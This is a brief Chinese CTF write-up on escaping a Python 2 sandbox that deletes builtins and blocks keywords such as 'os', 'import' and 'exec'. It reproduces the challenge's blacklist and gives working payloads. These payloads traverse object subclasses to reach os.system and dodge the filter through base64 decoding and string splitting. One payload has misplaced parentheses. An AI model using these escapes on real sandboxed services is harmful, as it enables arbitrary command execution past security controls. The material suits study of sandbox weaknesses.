future引用了python3的新特性,所以是不能直接回回显,得用print
file函数可以读取。
print(().__class__.__bases__[0].__subclasses__()[40]('./sx2.py').read())
读取源码后:
from __future__ import print_function
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
没有ban reload函数,所以思路就是
reload(__builtins__) 可没想到不知道为啥不行。然后想别的办法。
只禁用了builtins里的函数,那我们找
payload
print("".__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os']).system('dir')(windows下,我的linux下是71)。
可发现还是不行,原因是不仅仅把builtins里面的危险函数禁用了,还有关键字符一起禁用了(在最后的一个小的if判断里面)
于是想到'os'变为'b3M='.decode('base64')
最终的payload
print("".__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['b3M='.decode('base64')]).system('dir')
另外从别人那里偷来一句:
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))